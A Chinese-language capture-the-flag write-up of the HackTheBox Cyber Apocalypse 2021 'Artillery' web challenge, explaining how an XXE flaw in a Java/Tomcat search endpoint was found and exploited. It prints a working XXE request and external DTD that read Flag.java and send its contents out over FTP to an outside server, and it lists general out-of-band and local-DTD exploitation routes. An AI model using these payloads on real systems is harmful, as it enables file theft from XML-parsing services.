Cyber Apocalypse 2021 Web Artillery WriteUP

大家好,我是BaCde,上周临时组队参与了HackTheBox组织的Cyber Apocalyps 2021的CTF比赛。今天主要写一下Web的Artillery,这是一道3星题(最难为4星),这是一道关于XXE利用的题,做出来的人相对很少,也花了不少时间,有些收获,这里写出来与大家分享。本文不介绍基础知识,如果要学习基础可以查看后面的推荐文章。

收集信息

此次的CTF题大部分都提供源代码,并提供有Dockerfile文件,可通过docker build构建并运行。通过源码可知源代码为Java语言。openjdk 1.8.181版本,Web Server为Tomcat10。

通过Web.xml可知访问路径。访问页面只有一个搜索功能,你访问页面并在搜索框随意输入内容,可看到具体发送的请求。使用Brup记录并转发到Repeater,后面测试用。这里是自己搭建的Docker环境,访问地址http://42.192.74.184:18888。

接下来查看源代码,具体业务实现的代码在Results.java中。功能就是接收POST提交的数据,先验证XML格式,然后在处理XML,最后解析的内容进入到数据库查询,返回结果。结合web.xml文件可知请求的路径就是上面的搜索功能了。

漏洞探测

代码看上去基本都做了过滤处理,唯一一处就是第31行,允许file协议 。尝试读取一下/etc/passwd文件,发现报错,而且无法显示文件内容。尝试其他协议都会被拒绝。想来也不会这么简单。思路如下:

  1. 尝试file://url/看是否可以外连。
  2. 尝试jar:file://path!/xmlpath 这样的路径。
  3. 利用系统自带的一些dtd。
  4. 利用unix的socket文件。

通过file://这样的方式可以发现发起了DNS请求,但是未收到HTTP的请求。这说明可以进行网络通信。而jar协议是支持的,找了几个路径,发现都利用失败了。而第三种,通过查看Dockerfile文件发现对系统自带的dtd文件都删掉了。第四种也没想到具体该如何利用。在测试过程中也可以注意到一个细节,就是在validate的那段代码,报错后是直接return的,如果validate通过,那么会进入下面的解析代码,导致无法利用。

这里一度没有任何进展。重新梳理思路,回头继续看第一个,仔细查看了报错信息,有一个地方吸引了我,可以发现报错主要是FTP连接错误,这就解释为什么没有http请求了,因为是FTP协议。

获取Flag

使用vsftpd搭建FTP服务,启用匿名访问,防火墙端口全放开。最开始就是因为防火墙没开放(pasv模式的关系),导致传输文件失败,耗了不少时间。通过FTP的方式,发现确实可以将文件内容带出来,但是/etc/passwd的文件内容只有一行。后来修改了一下payload,直接将Flag.java文件通过报错的方式显示出来。

payload如下:

POST /search HTTP/1.1
Host: 42.192.74.184:18888
Content-Length: 131
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36
Content-Type: application/xml
Accept: */*
Origin: http://42.192.74.184:18888
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cdl [<!ENTITY % asd SYSTEM "file://42.192.74.184/evil_ftp_file.dtd">%asd;%c;]>
<cdl>&rrr;</cdl>

evil_ftp_file.dtd内容:

<!ENTITY % d SYSTEM "file:///tomcat/webapps/ROOT/WEB-INF/classes/Flag.java">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'file://%d;另外一个ftp服务地址/%d;'>">

总结

从此次解题可确定在openjdk 1.8.181环境下,使用Validator并允许file协议时对xml进行validate时可以发起ftp请求,同时也支持jar协议。其他环境大家可自行测试。

其利用方式有如下几种:

  1. 在这样的情况下可利用ftp外带dtd读取任意文件。
  2. 在没有删除本地dtd或xml文件情况下,可利用本地的dtd、xml文件进行利用。
  3. 利用jar协议,通过加载jar中的xml或dtd文件进行利用。

一些资料推荐

  1. Blind XXE attacks – Out of band interaction Techniques (OAST) to exfilterate data
  2. XXE-DTD-Finder
  3. Spilling Local Files via XXE when HTTP OOB fails
  4. XXE : From Zero to Hero
  5. Advanced XXE Exploitation
  6. Misconfigurations in Java XML Parsers
  7. XXE payloads for specific DTDs
  8. Exploiting XXE with local DTD files
  9. Automating local DTD discovery for XXE exploitation